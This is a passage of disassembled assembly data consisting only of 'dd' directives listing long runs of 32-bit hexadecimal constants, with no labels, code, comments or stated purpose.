		dd 1DBBB9h, 163BAD57h, 97ECE966h, 0DE5DD0Bh, 57E4302Ah
		dd 47950460h, 2520215Ch, 3A103488h, 541F5E7Fh, 7DD88903h
		dd 0DA184800h, 6092132Dh, 18DFEC81h, 8E91093Eh,	88313A9Ch
		dd 95D81081h, 22990291h, 866E2A9Fh, 26CD50E0h, 841A8A2h
		dd 0EB51859h, 829DCDEh,	2A66B010h, 0FCE500DEh, 73830733h
		dd 7094211Fh, 0B4878411h, 802532DEh, 9B109631h,	6300DEDBh
		dd 0EEB99CFDh, 2D90688h, 0A00BE96Bh, 0A472A5C1h, 9FC4A085h
		dd 0BCC15963h, 0F183208Ah, 536CCE02h, 526D41FBh, 0A0125658h
		dd 3B916102h, 0D031729Eh, 915C4310h, 16542000h,	0CD5FFEDh
		dd 122509C3h, 0C485BB4h, 7E7F83E5h, 0D93C7400h,	2BAB29AFh
		dd 34085C56h, 0AAC77A80h, 8305BD98h, 0FCC5D486h, 0C061B8D2h
		dd 1C3C1FAh, 52E7AD8Ah,	21A26FD9h, 45DDF4BCh, 0C53D50C0h
		dd 39DA5974h, 6802C154h, 0AD6C319Eh, 126BC88Fh,	91B2C606h
		dd 4C49A1E0h, 955B065Ch, 20209DA7h, 82150D56h, 838C3888h
		dd 99199F23h, 39A7AC18h, 998A6437h, 0B703E8DEh,	9939DB94h
		dd 843683D2h, 0DECFA202h, 2131FFC8h, 0D3DD8610h, 8106DF03h
		dd 0B81519A5h, 5ECE7D0h, 0C171217Eh, 0DB88C0CDh, 5C019DC6h
		dd 86335393h, 90210776h, 0D3B8182Ch, 40090B8Ch,	490310Eh
		dd 2F1C38EDh, 988063ECh, 1D90C2C7h, 0C50F0029h,	23AA2C6Bh
		dd 0E93BCF40h, 8A5C48E3h, 0E8808481h, 0C5A28A7Ch, 0E0CE5468h
		dd 15170C5Ah, 0C299990Ch, 0C342730Ch, 1E2110Fh,	0EF535A65h
		dd 60B69EE1h, 3AFEAFF9h, 8840E34Ah, 0A7F646B0h,	2C0A4865h
		dd 0E5EB0480h, 2C09AEF9h, 82DC2536h, 1A15586Ch,	0C829A801h
		dd 56B858A7h, 3FC48988h, 0B8807BD3h, 0CCC1CDFFh, 389A654Dh
		dd 67008A74h, 145E61Dh,	486465Ah, 47DA5FE9h, 54ECC09Eh
		dd 0C507CF87h, 0ADB306F4h, 93805334h, 0A3E485h,	8D5D7A8Ah
		dd 7DDA45DCh, 1100B0E8h, 53E86090h, 0FBC8407h, 314C2815h
		dd 10A29A09h, 0D0A06A13h, 1A0ED671h, 837AFE00h,	0BE3027B6h
		dd 2ED100C7h, 87B1868Dh, 0DB277759h, 82F420E8h,	75B05Bh
		dd 0C9F6AAA9h, 0B183D6FFh, 0F9E1DE00h, 981B1419h, 0C4CB30B4h
		dd 72FE5E71h, 23277A0Ah, 0AA00B216h, 0F32E10E0h, 3532003Ah
		dd 950750D9h, 1509C62Bh, 9DDEE86Eh, 8F6A11F0h, 0D8B7A06Eh
		dd 52548Bh, 8923241Ch, 2D84EC06h, 30EC5955h, 1022FBCh
		dd 4B3D9DA0h, 0E170C3BDh, 0B46045F3h, 0B5F420D2h, 0CB54D01Bh
		dd 0BAB8B898h, 9740C120h, 0C6B0A4CAh, 0B72DBC80h, 947199A3h
		dd 567C090Fh, 0A7C01DA0h, 1F5945B1h, 0A18914D4h, 94E020B6h
		dd 868EACh, 2F8648D7h, 0F827A0B5h, 0C1AB7100h, 53734C26h
		dd 87E82C8Fh, 0C4467630h, 5F82703Eh, 6C3B50C7h,	1F44C4D0h
		dd 0C52403BCh, 55488BAEh
		dd 0E47198D0h, 0CB4F9B06h, 0CBD093B4h, 201D0DD2h, 0A2809D91h
		dd 2412C526h, 0AF2665E2h, 92600C55h, 3E1BB0F6h,	2E25642Dh
		dd 31FBF420h, 3901E81Fh, 90C82B0Ch, 0E3E8B34Dh,	9C30303h
		dd 0FCCB0462h, 9E48B7ABh, 0E05046B0h, 5F3490h, 3813B0FAh
		dd 0B6365850h, 855E524h, 0A3C4D400h, 2E206DE0h,	939C7752h
		dd 348C017Ah, 0AC1FDA16h, 0CA00E028h, 0C2801AA1h, 900900FEh
		dd 0D4C09B28h, 29004B25h, 15034659h, 0E61A8Fh, 0E4CEEEA3h
		dd 93A52F8Ah, 0E2AE7828h, 61908B00h, 651280Ch, 23870FF2h
		dd 478E926Dh, 0A09B480h, 0C507E015h, 0B7DCCFD7h, 0D879DA50h
		dd 0CB400083h, 62F30855h, 54E81082h, 1B20C660h,	74F8548h
		dd 2DB71FB4h, 2BCE606Eh, 7800CB5Ch, 4614F032h, 16AA47Dh
		dd 55DD84D2h, 81D5EC94h, 0C813FA60h, 0F72008DCh, 49701DAFh
		dd 0D6250C1Ah, 7E007820h, 2E37E4C7h, 1612DC9h, 0EAD26BF0h
		dd 0F8813D13h, 28A447DCh, 0EEC80D0Dh, 28114808h, 0A007D758h
		dd 0B2E7C826h, 3F9E2E00h, 0F12A9C95h, 0ABFA3024h, 0BFB7D9D0h
		dd 0C47FD40Ch, 0A511C6h, 0B9CF987Ch, 0FCAAAE60h, 0A2082F63h
		dd 0B32000D7h, 0B89AC564h, 13008C62h, 6C042758h, 738AA5D2h
		dd 2684A1EDh, 0C0D92BF0h, 6466E1C0h, 90A0339Eh,	0A342B52Eh
		dd 2FF8AA03h, 4000F9E6h, 0A0A1C0D5h, 86061Fh, 58F0B7BEh
		dd 0D2BB572Dh, 4DBA8B01h, 0B391BC15h, 7AEB0D60h, 2F0300ABh
		dd 0D07A63E4h, 3800921Eh, 31523D7Ch, 5262018h, 95CC7621h
		dd 0EA988063h, 5F78A2B8h, 5DFC7300h, 9202A69Fh,	65F100ACh
		dd 0B7C76E08h, 5E00161Ah, 6396BE47h, 98298Bh, 58C41D05h
		dd 9579A6B8h, 55148A00h, 0F97AF6Dh, 108B03BFh, 0C7049CEh
		dd 7EFA8ED0h, 5046D300h, 56C63D80h, 19F28Bh, 9E1B99EFh
		dd 445E6C62h, 6BF8707Bh, 0E2E4827Ah, 59FC5D14h,	0B739000Ch
		dd 8993A1C6h, 0C878607Dh, 0FE0C6222h, 6D8DA603h, 795166h
		dd 12BF25E1h, 0D98A417Ah, 3D6E5548h, 15B30675h,	0C409D74h
		dd 71CD0F60h, 70E0A0B8h, 41804030h, 0E96204B3h,	406B289Eh
		dd 0FE8AEED8h, 0A411A8E1h, 0E0B8123h, 0A10043D7h, 9865E482h
		dd 72A31100h, 57C96B2Fh, 0E74251FAh, 789CFE30h,	6F310041h
		dd 7A542D89h, 0DA02E82Eh, 7BDFAF88h, 77F0414Eh,	2DD470h
		dd 0AA207283h, 1DCFFC1Ah, 6EDCAE06h, 4208AB30h,	1AA0EE2Fh
		dd 0A407A0C8h, 932B9D76h, 0AEDEB4C0h, 598E1ED7h, 1C31804Fh
		dd 0AA0D2817h, 8038D900h, 0B7CF1804h, 13A303A2h, 1993598Fh
		dd 92DA2908h, 0D8DC0FABh, 4A92110h, 0A30FD27h, 0C8142857h
		dd 0B1451814h, 0C2FFAB79h, 0BE422E29h, 84388407h, 0AD88034h
		dd 470828BFh, 86D09003h, 5029E48Dh, 622B28C3h, 0E1ECA189h
		dd 796D3A27h, 10C986CFh, 11A9F611h, 0CC19E218h,	105B51B1h
		dd 99AA37h, 9D6CE7C0h, 817F35E5h, 7503CBB0h, 0A930DE3Ah
		dd 250BE88Ch, 851500E8h, 0CC668790h, 503EE64Bh,	55910E64h
		dd 0BF05D3CBh, 98C01E6Ch, 3235D8h, 9D643CCDh, 0BBB81C4Bh
		dd 5D96B00h, 0FF14E2Bh,	83110340h, 631928ABh, 778F47D0h
		dd 3700D076h, 0B9B18774h, 70188Dh, 58F19484h, 0A36A1EF2h
		dd 0AD372C12h, 0B3F40000h, 3DEF313Fh, 0BF03F959h, 0C8726DE6h
		dd 437BD6D8h, 0D4003A78h, 6C039CCCh, 0E47021F9h, 0A7D21EEEh
		dd 0A3940261h, 5468F13Bh, 350EB4C3h, 0C08A894Ah, 6507BBC6h
		dd 345E3047h, 38FF5510h, 80565300h, 0F723BAC7h,	18CB6084h
		dd 0B24ECF8Dh, 0EFC41101h, 0A8D49C3Bh, 0CE5A80E3h, 72BC3929h
		dd 0FB45DE80h, 1454A1E3h, 2D348300h, 55060C6h, 213900C3h
		dd 407CF13Ah, 0F6005F72h, 0E5E109A2h, 0B8F2A4h,	0D332344Fh
		dd 0C5493F26h, 66CB58h,	8EDC5FD4h, 8133D0h, 5EC975DBh
		dd 9C15C87Bh, 2707B807h, 0C4DE3DB3h, 0F4C099E9h, 1D24081Ch
		dd 0C02D0602h, 5B7130ECh, 3200128Eh, 0B19EB46h,	3C18B35h
		dd 870FC601h, 0D5F081F1h, 3A07B3FFh, 61A4D65Eh,	502D1830h
		dd 0A02800ACh, 80887D0Dh, 6439B474h, 61FD8347h,	0B86BBEF6h
		dd 149019D4h, 0CCE4E3ABh, 6289AC0Fh, 1EF75340h,	0C6009970h
		dd 7466200Ah, 0EC93A36Bh, 1C4B81C4h, 1C780033h,	1A93E69Fh
		dd 0A46F6DB8h, 0C3403FEAh, 61449242h, 45500C0h,	5A17BCFDh
		dd 0F5007FD8h, 0BE814B14h, 3FF2A35h, 0B2D76A6Eh, 0B0F8C79Ah
		dd 0B001539h, 584464E8h, 387CF516h, 3400C1CCh, 0A3F73295h
		dd 67FA429Ch, 0C7EE9200h, 5620BA93h, 2DF00474h,	809196C0h
		dd 71E5686Ch, 0D7186500h, 1F46A4E1h, 3C89F4F2h,	8E9259D8h
		dd 702F00B0h, 0C2913D3Eh, 0C1413400h, 0EF95BC3h, 0F752FA24h
		dd 5B1247D4h, 50110078h, 9284CC18h, 25935313h, 647E7800h
		dd 7874BCh, 7D3DC806h, 61C7DF5Fh, 427B0A00h, 0CB19719Ah
		dd 65430310h, 89DE1520h, 368BA698h, 3DA91D5Ch, 6047870Fh
		dd 0FC9037C5h, 70E405h,	53C287D6h, 2A01F629h, 0ABE822Eh
		dd 5FA56100h, 2808DE20h, 0D4DAE2h, 60E315CDh, 711787A3h
		dd 96E6F503h, 0A863CEE1h, 1A70627h, 6F4F8204h, 0C8386DE5h
		dd 0FE38956Ch, 0B12E000Bh, 995D2135h, 0AD8C0089h, 0FA0A963Bh
		dd 5E00A0C9h, 0A23C4352h, 1092B5h, 9F77C1A6h, 0E3F63E4Ah
		dd 32D1A300h, 6591AEABh, 71E5B809h, 2BC30FA0h, 5361B34Dh
		dd 0C41EAF70h, 48000155h, 0C6B90973h, 0FEA9F41Bh, 78EC00FDh
		dd 0B591119Bh, 0D87FC369h, 5C42101h, 85F11B80h,	1038C0FAh
		dd 64EA0Fh, 29DB1F71h, 6AD944A9h, 8E1C6600h, 0BA1A0EDFh
		dd 0B4954CF8h, 77BD9B00h, 3B02AE5Dh, 0E7D52900h, 23C38010h
		dd 1CBE4C60h, 0BD3C6F03h, 61F0547Dh, 5090360Bh,	920F83Fh
		dd 0AC6F5548h, 28FE38h,	0A8D98FE1h, 2FE7F8A1h, 1AFD5809h
		dd 0F180016Eh, 4DDC9252h, 3A490019h, 0F3F02A5Ah, 0B9E4BD6Bh
		dd 0DD6A0A00h, 0D8AF024Fh, 7E84007Ah, 0F1219ED9h, 609539E2h
		dd 78198h, 3BF05FCBh, 61A34DC4h, 0F1AB8800h, 47BCDF82h
		dd 3778001Ah, 795F656h,	130014AEh, 90E8B77h, 3D04C7Dh
		dd 0F03CC6E5h, 0F8811B89h, 0DD3FE090h, 0FD23C200h, 68B8C32Ah
		dd 82ED4817h, 26FA6D00h, 8D934729h, 645A4C00h, 5785E77Ah
		dd 0EED200D1h, 0F299153Fh, 607FE243h, 0D5500C00h, 2A2B7716h
		dd 3993006Dh, 0FF7F6EDFh, 0D3042D20h, 1659B4E7h, 0F58DF480h
		dd 55D93EEBh, 26236280h, 1584EE87h, 0A3795302h,	4066FDDCh
		dd 0DA4E6h, 6338EFA9h, 979D8FA6h, 0D8A8EB01h, 3D1A4ADDh
		dd 4EA54E4h, 0D77B011Ch, 0D08C01Fh, 2700F7B9h, 73EF91BCh
		dd 0E4E9C7h, 6DBBDF36h,	4A8723Ch, 0A75A2E01h, 0C2D69B39h
		dd 7AC097CDh, 3EEF0020h, 1119436Ch, 88017C74h, 8E025607h
		dd 76E4510Ch, 7577D3Eh,	5092AAEh, 909CF74Ah, 2B348B5h
		dd 55FD9D1Fh, 0F17700FEh, 7C547F12h, 0EC3B1DA6h, 0E8F881B5h
		dd 0C845F0E5h, 7603DBD8h, 688BD911h, 3B9F092h, 1489013Ch
		dd 7934BA28h, 1BD0DC5Ch, 0FB9F361Dh, 0E5D14900h, 75312Ch
		dd 0B3168F14h, 0CD576CBBh, 17F17B00h, 1FA1F9B4h, 340E1F9Fh
		dd 89210F19h, 1BF8B0C0h, 0BC00E66Ch, 2EB6CB7Fh,	0E4D5A20h
		dd 80D1F63Bh, 0E87158C1h, 0BDAAC05Bh, 5E777400h, 0A575B43Dh
		dd 0ABE50F24h, 0A8629258h, 70C0D501h, 7D3C9673h, 9E4E9EE0h
		dd 0FE3EB2C0h, 1923A9h,	60E17739h, 8A3A08FFh, 331E8F00h
		dd 0DB55986Dh, 71C016Bh, 4CE06473h, 0DDCBC406h,	826F2500h
		dd 3E875FCDh, 0D78C0E7Ah
		dd 0E5808DACh, 9ABEB20Ah, 0C9D9F800h, 9DCC764h,	0E38900A8h
		dd 0EB95650h, 6F008E88h, 78E714C8h, 39AEDEACh, 0D6834367h
		dd 8F6333A2h, 0CDF100BDh, 0BCB8D298h, 60C7C900h, 0C8847D0Ch
		dd 0A051585Fh, 0DDE25D00h, 13659C62h, 0F301AFFEh, 3AE7CD3Bh
		dd 80F32CBDh, 4D6CCAh, 0BCA2E230h, 8B23D0FEh, 7E090300h
		dd 52E999D2h, 0B353002Ch, 0D80BD7E2h, 0F9012F8Ah, 0ED329C59h
		dd 4EC03C68h, 0F0B70003h, 0DDB6A8DAh, 0DC00E751h, 95B58140h
		dd 0F7D114h, 0E0069B1Ah, 6175E96Ah, 31D70500h, 4AA3B397h
		dd 0B42F0003h, 0A5BE9B20h, 7C000FEDh, 0E8F50860h, 7928Fh
		dd 82F0A02Ah, 12402D9Ah, 5C00F4E6h, 4DC8762Bh, 2505Dh
		dd 0D514CC84h, 0F1A47BC1h, 76489100h, 4617975Fh, 85C7013Bh
		dd 0E007D724h, 56A4D842h, 0FC0077E4h, 0E5531870h, 0FED2482Fh
		dd 0E13900B7h, 57BD03EBh, 0AF001095h, 6AA4F7ABh, 0DF843Dh
		dd 83050418h, 67736CC8h, 0B8D7D11Fh, 0C2C9A280h, 0E04898FBh
		dd 9EA000A7h, 2D456FD9h, 56004067h, 8C5C389Fh, 0CA994Bh
		dd 2C3F39A4h, 0D9F4B3DAh, 2E020C01h, 0E77B1DE5h, 30FC63ECh
		dd 324C2482h, 5E008A4Ch, 6C6E3EB8h, 947B43Ch, 0EB24A246h
		dd 83FBEE00h, 940039BBh, 0D701F8ADh, 1ED83B22h,	80BC8E25h
		dd 995E9226h, 0EA380F0Ah, 0DD60317h, 0B869CCE0h, 0EECD35C9h
		dd 7EF80084h, 1ED536B1h, 68005306h, 177723EAh, 66141Dh
		dd 0DF95CC10h, 1B4896ADh, 8C035C00h, 0E8C37506h, 69CD30ABh
		dd 83514052h, 0DB96BC02h, 402FD6FCh, 24D71A0h, 7F14E69Bh
		dd 0C0808F45h, 96F7FD5Fh, 6F2F1C01h, 368041BBh,	1EC2C8E4h
		dd 4019F885h, 51788E3Eh, 3200D970h, 0D2123C0Bh,	0E1B6E96h
		dd 4B6A5C14h, 62920120h, 1D03BA72h, 0AABDA38h, 80D000FDh
		dd 0C5484561h, 8D0026C3h, 38321117h, 3EE777h, 0D26E5443h
		dd 94ACB220h, 0D418C100h, 0B55D5B10h, 55A31F59h, 0DCC040AAh
		dd 52C52363h, 5403AB7Eh, 14E383Ch, 3281D079h, 8B570FFAh
		dd 0FCEF05FDh, 3B1AC01Eh, 71ED7DB6h, 5010AE48h,	0A7004C3Dh
		dd 48CA1DBBh, 1D21A0CDh, 87511765h, 71FB12C4h, 0D8727FAEh
		dd 8D003E45h, 0D8BF73D9h, 1EF85E8Eh, 9F3660Dh, 0E3801AFFh
		dd 7AFAFBD3h, 1D001BE0h, 1F079163h, 1D4E15E4h, 0DA7F34h
		dd 8CC0E75Dh, 3C3A8ECCh, 2E758D7h, 10B1908Fh, 3719E0E0h
		dd 41320348h, 7F827697h, 72DCC2E8h, 193DD309h, 15CD80FEh
		dd 0C0AD96h, 7121B554h,	0DAC673F2h, 75C5BD00h, 325E4022h
		dd 0D99300EEh, 113B6977h, 7000F8FAh, 29DF5920h,	0B48213h
		dd 0A69C128Eh, 0F23C462Fh, 71F1E900h, 623A4AEFh, 1FDEE88Bh
		dd 0DDC5F507h, 328F8015h, 0F724E490h, 9BC07D00h, 85E60E1Ch
		dd 0FDCC00BEh, 686A3E46h, 9A3E1466h, 2C868078h,	417DE2FEh
		dd 9F2A1E8Ah, 0E5DB0BDEh, 66BE5880h, 403B781h, 2A0CE812h
		dd 7FB4A006h, 0F1620080h, 259C9941h, 2D03D961h,	0B6FCBE9Fh
		dd 8B9A88EBh, 8A220091h, 57279D08h, 7001BCFBh, 2DB46ED5h
		dd 0ACC811CDh, 0CBB80040h, 0E74BA779h, 59007FB5h, 6651F5EEh
		dd 58FB9h, 3806752h, 0FB640EAh,	79683358h, 0E41F6078h
		dd 0B940CD26h, 52413A0Ch, 4B1900AEh, 0D3B37F47h, 56014436h
		dd 8968150h, 78605514h,	1C4F7065h, 34780Ah, 246AF4E0h
		dd 22011B57h, 0DA4B0D1Dh, 72E4F866h, 0E552004Eh, 0D764308Fh
		dd 0B53ADFDCh, 2CF2963Fh, 1EA4001h, 23CC04A6h, 0E8310741h
		dd 375A30Eh, 0FC005E4h,	700AD60h, 8B3B924Dh, 0FFBD59h
		dd 35368F4Ch, 8CBE94F4h, 4B001AF0h, 5B772C58h, 37B7D89h
		dd 1C7628F0h, 79C3EE71h, 0C853F01Fh, 6B8F3D87h,	1B7E5880h
		dd 18F4F6h, 2949A8BDh, 0CC4062A1h, 58AC7100h, 0A118BF9h
		dd 1BC0667h, 20EBB726h,	0FB00E1E6h, 0DF4D83E4h,	5BDD609h
		dd 6353E546h, 5CB4008Eh, 0D33A296Ch, 7F4953Ch, 0AF1CCE32h
		dd 90DB17E1h, 0DDD09DF5h, 64270068h, 67CDB473h,	0AB28E1E0h
		dd 0F303E4BCh, 0E341C4D2h, 0B21000EEh, 63B371B4h, 5B006740h
		dd 762D311h, 7A892948h,	9EE3074h, 4B258EE9h, 114FA600h
		dd 7E787AB1h, 0F2A526B2h, 34E205ECh, 0B6BC000Fh, 6B6FDEE6h
		dd 32D4AE00h, 15C97026h, 0B2A400ACh, 8CFA9C7Ch,	6E0CA134h
		dd 0C09811A7h, 0E56200BCh, 0F5DC0726h, 7375B5CBh, 0DB00A4F0h
		dd 6DD6CC0Ch, 0F8B33852h, 0FF900042h, 34B259F7h, 0BA008F40h
		dd 3794EB8Ch, 1CECBD66h, 80D3D8D6h, 0EEEAA549h,	7EE83231h
		dd 8EE2E339h, 0A0C47134h, 61DB9CC7h, 6EFE625h, 377ACBF8h
		dd 7800904Fh, 2A311AD3h, 0EAB81B35h, 8AACA0E1h,	0F85C001Eh
		dd 4F7589DCh, 7E506BEFh, 1D002C90h, 60D2F74h, 0EB38EDh
		dd 0CCC9CA27h, 377BF0CFh, 0C41148h, 7AA98F0Eh, 7238E4F8h
		dd 2D6117E8h, 545A0063h, 991E9620h, 37BE1B00h, 0C707E031h
		dd 97E8001Fh, 0F90B67AFh, 7805148Ah, 0B12FA717h, 3A3EE400h
		dd 7BDECC71h, 90836119h, 0DC0EF35Eh, 0D92EA124h, 0F600D542h
		dd 60453623h, 651B013Bh, 2F19E0E4h, 0CC3021D4h,	1C00472Ch
		dd 0D6E8D56Dh, 0E8F24335h, 455F005Ch, 0C4D9FDA2h, 33007A20h
		dd 679E5359h, 24499FBAh, 0F01A2Ah, 17B0CF79h, 1FE87B5Bh
		dd 0F5238F00h, 8B3FCCC3h, 17490F7h, 9FC7BB92h, 0E0BC8C43h
		dd 0AF00AEC4h, 0E20BAC60h, 36545Fh, 0F1EEF2D6h,	918ABDFAh
		dd 15433900h, 0CA179819h, 0F3C5039Ch, 3FEFFDD6h, 0A49059C8h
		dd 0F69D0D00h, 0D339B619h, 5AE800F3h, 100942FAh, 9B203EFCh
		dd 0B3DF0723h, 21EDDB6Ch, 40A96A13h, 0A642F1F8h, 7C5520F5h
		dd 3E9BDD3Dh, 49F007EEh, 8D05E1Ah, 0A0E6AC70h, 0B4616B8h
		dd 0F5279214h, 812E7C01h, 8BAC403Fh, 0D01397F4h, 884187CAh
		dd 56F8D17Dh, 36283C8h,	2B7E8689h, 4BE33DC7h, 7551CA0h
		dd 32031100h, 6281B1A3h, 0B42F5C68h, 7F0AE900h,	7C379A7Eh
		dd 2E0C9600h, 0EC8A0649h, 561507AFh, 0E0394D27h, 19C033A7h
		dd 0D7C6C700h, 98126D9Eh, 0D19A05B4h, 0C1FF7BD0h, 0F80B0F86h
		dd 400021E0h, 35C7EF1Ch, 0DC6C58h, 703BFA7Ah, 9EE4EC64h
		dd 62890800h, 0F5FD1A8Fh, 0C7F20Dh, 0EFC4C531h,	903CC315h
		dd 5CBED300h, 954F7A4Ah, 2EA77048h, 2C6C4E23h, 164D007Eh
		dd 9D0C7794h, 671FFB00h, 0D51BCD89h, 5B9E3865h,	91D0EA00h
		dd 70BBF9F7h, 5E107D60h, 70DC1B0h, 0D537226Ah, 827C1052h
		dd 0EE000F80h, 0B247E6CDh, 0ADA8E2h, 3C486645h,	0F6FE02B1h
		dd 9E365800h, 82788F8Dh, 332107ACh, 10D72A89h, 0B9DE1786h
		dd 0D2F1ED0Fh, 0DD1680D4h, 0D8E07Ah, 0C883D6D5h, 0A46049EBh
		dd 600C7E4h, 71FC530Dh,	285B97h, 1D565809h, 0BAB283BFh
		dd 0AF16570Fh, 8F18002Bh, 3FA0E5h, 2698C547h, 4BCA28B1h
		dd 0FDF087ECh, 93D06D00h, 0BCC4B6D6h, 0E58E0E26h, 152F88C2h
		dd 726A68A0h, 860A1E5Bh, 0C023364Dh, 0B8789000h, 0D710BAh
		dd 691BE4A8h, 970280DEh, 0C7858701h, 0D24CBEEAh, 0E992F0h
		dd 569C01C9h, 12880C1Fh, 0CE758D1Dh, 6839581h, 7EF03C70h
		dd 0ED9201C6h, 97498717h, 2AC0C751h, 3601FA01h,	5C2F9E18h
		dd 80E67DBCh, 6D02939Ch, 0AE9D2682h, 6A198013h,	2449C76Eh
		dd 21D87250h, 0ACEB5000h, 1135CE93h, 515F0037h,	0BA58A69Fh
		dd 632CA8A0h, 571C9C4Ch, 5E16D840h, 0F8089Dh, 0B13994CCh
		dd 0C3801EE6h, 56FBCF00h, 0BD21E5A0h, 9CE6C6h, 0A4FE9D20h
		dd 10A636F8h, 0A2441F2h
		dd 0F10F7BA3h, 3D44000Ch, 0EA5D7905h, 9A683FC0h, 67786900h
		dd 35E16490h, 0CEEDBB00h, 0A5BCF18Ah, 74D90033h, 969B78D6h
		dd 5800D78Fh, 0DF187E97h, 533210h, 0F614E46h, 1644E764h
		dd 8031E90h, 41B6565Dh,	46C4D855h, 279E026h, 9BE6DF61h
		dd 1540BB5Eh, 4B00C6FFh, 1877637Ah, 5C7591h, 3814943Fh
		dd 4DCE421Eh, 813ED900h, 0C1F36AA9h, 9899032Ch,	9BD838E5h
		dd 0B217BA8h, 58436107h, 27B08922h, 0A8AD5B8h, 8869C887h
		dd 62C84E0h, 0CCD48090h, 0CB8120Fh, 5CA9A200h, 36660EC9h
		dd 0DAA50032h, 0E10F145Bh, 131EFF27h, 9443B64Dh, 0D04EEF6Eh
		dd 1F69B92Ch, 87C4F78Eh, 8024330Ah, 652597D9h, 0DB07B17Eh
		dd 0F7E3FEC2h, 0EE9CF5A0h, 30B248CCh, 0EB287B01h, 0D896DEC9h
		dd 38F48A8Bh, 0B12CFF02h, 80FC1984h, 20883A9Ch,	2E70072h
		dd 0CBC5FD9Ah, 1D1D6D79h, 529E1164h, 0F94A0840h, 29585Ch
		dd 8F4D6555h, 786AA18Bh, 0C109C7FAh, 283282h, 0F838AC8Ch
		dd 0AD8D0058h, 0C3A5767Ah, 940001F7h, 0D84BFDA8h, 9BD93Dh
		dd 0B3E93A81h, 0F06C971Ah, 87265D71h, 6F04DE14h, 0EA8050EDh
		dd 48985C13h, 0F13E1CBDh, 58756591h, 0ADE70E43h, 482960B0h
		dd 2E96340h, 0B28A8ED0h, 0DAE0255Dh, 69009044h,	4D4271E7h
		dd 1C4B875Eh, 9565E0CEh, 4C0308A2h, 9580C1C0h, 9E7EEFF8h
		dd 0D74FC904h, 8C8083BDh, 0EE149AB1h, 0B5A600FEh, 0B6232EF3h
		dd 60C17E29h, 602673C9h, 0CC2005D1h, 401C99FFh,	3135732Eh
		dd 0C57BE00h, 8CF1E26Dh, 0C2FA2E79h, 78D0008Eh,	0C4F215B0h
		dd 388E9100h, 115DE5C5h, 49CE005Fh, 3E41B56Ah, 0DC05A87Bh
		dd 0EE0D0730h, 0B3731080h, 4362308Bh, 8F9F5211h, 9CF07107h
		dd 76A1CF7Bh, 98802F27h, 8A720B9Eh, 0D70060F6h,	0FF4FDE42h
		dd 98214A01h, 7F1D0708h, 0A0A57546h, 5F0F17DBh,	3F412E00h
		dd 0CA964516h, 653E01A3h, 66ED0B08h, 6051C754h,	33F200ACh
		dd 88900239h, 6407A531h, 63C20B4Eh, 483FA828h, 7FEF00E2h
		dd 9121CCEDh, 0D800287Dh, 9350127Ah, 2D3922h, 251034B1h
		dd 77F43B6Bh, 7E019617h, 0BEF24300h, 285B0C7Ah,	7BC982Ch
		dd 0E01FDF2Eh, 2EA5023h, 9F077819h, 0B8A25885h,	6B6ED5C0h
		dd 0DEF8E7h, 0C01F6093h, 8A8691C9h, 59859013h, 9EAEFC05h
		dd 0AD9AC0BBh, 5807D82Dh, 15E0FA57h, 1E9A6A50h,	0D57102C6h
		dd 0F466E4CDh, 1BEBD160h, 0A151D100h, 0D6C1A67h, 422F3952h
		dd 46D0769Fh, 0F879BA32h, 6F912400h, 81741584h,	504F00CFh
		dd 531CD56Eh, 2203F38Ch, 9B77092h, 0B89F83B8h, 3844F53Ch
		dd 170F4A3h, 49F8EF8Dh,	0FCA1ABA6h, 3B011BC1h, 4E399A6Bh
		dd 65EC6784h, 12B7F62Ah, 5D793550h, 37578990h, 0C198B48Ah
		dd 94B710ABh, 0CD8998h,	534F381Dh, 0E2D987E6h, 1CCF010Fh
		dd 4A3086FAh, 0FFFB7024h, 0EA015090h, 28A81062h, 2E303F18h
		dd 0D91D035Dh, 0B68F29C0h, 8341ECA0h, 6764E207h, 0F022CEC1h
		dd 153C4037h, 0DF9C0055h, 8E84B204h, 0B00017CCh, 3AAFA7FFh
		dd 120122EFh, 405B7718h, 38EE044h, 24000E68h, 0D58A7A0Ch
		dd 7B34078Fh, 0B8210095h, 0E8E3404Ah, 3304F38Bh, 30C6380Ch
		dd 26D28080h, 0A8A6000Fh, 92285DB9h, 3A00FB15h,	5E878E14h
		dd 5B1A4Bh, 0DB6F7616h,	79C977D7h, 0ECC66900h, 0E897264Fh
		dd 28420224h, 8C360262h, 19489C40h, 9FBCC600h, 0F7583FE4h
		dd 80DD011Eh, 0FCFAFEE6h, 5FAC2027h, 0DB89C713h, 52AAC041h
		dd 58706EECh, 317203E5h, 385E4FDAh, 4126A5D0h, 0F36FD800h
		dd 328D4313h, 0D59F008Eh, 0DFD42898h, 0D4A89721h, 0E6014F4Ch
		dd 9C4A7E68h, 74306DF4h, 6F3400CCh, 80378CDAh, 0E5091BEh
		dd 0CA00AECCh, 1087968Bh, 0FAD849h, 68528A9Eh, 3839B0C8h
		dd 2000D673h, 8CAE7C01h, 78A1BDE2h, 0C92105BFh,	7E53E9h
		dd 0C0ED1FF4h, 34E02D35h, 84721228h, 6590800h, 9F15A891h
		dd 0CEEC0097h, 5BD1AE52h, 0B010275h, 4CD5E9B7h,	0EEE8C88Ah
		dd 0B44900C1h, 9987E520h, 0D474A0EFh, 86EAA407h, 0AE40809Ah
		dd 75037AB7h, 0AC130F78h, 34401E2Fh, 64FB9958h,	16CAF23Bh
		dd 7500915Ch, 0D3C9652Ch, 0E5613B27h, 1B1F9A38h, 0C7F84003h
		dd 1C76DDCFh, 0B0B74230h, 1524A7CAh, 9C89214Fh,	9FD5931Eh
		dd 16B870BFh, 0F53EB4D8h, 0A2ED9F18h, 1B696200h, 39ABAD2Eh
		dd 5E89289Dh, 9CA08575h, 356FA477h, 6C100E18h, 0E62A2850h
		dd 0EA50003Ch, 124D1AAh, 8000CF08h, 360DB448h, 0ED1B70h
		dd 40206557h, 7241AB12h, 0A9C44D1Dh, 0B2FE9F40h, 58E8BF15h
		dd 180074CAh, 0C5915943h, 90281CB6h, 0B00FC4C6h, 8088FA87h
		dd 0D0206BD5h, 16EB0F6Dh, 42C37368h, 11C09B59h,	0DD05A5F9h
		dd 0AD8A8503h, 0F659C09h, 0D7B9A13Fh, 3BEC3044h, 0F1B012CDh
		dd 0C9BC83D2h, 0B8DE6198h, 60D49400h, 0FDCE967Ch, 65360035h
		dd 12C17087h, 0A50EB482h, 20C8760Ch, 58376FD2h,	83C300BFh
		dd 0C232DA2Eh, 0F83D8F0Dh, 0F3E5802Dh, 33AE59B6h, 3D5F24E1h
		dd 1ADB0092h, 3E92882Ah, 0C01CD398h, 0AC8140D4h, 8B51598Ah
		dd 354F8h, 0EA6EDDBEh, 6B1D4F52h, 0A4E8990Bh, 0CF900E68h
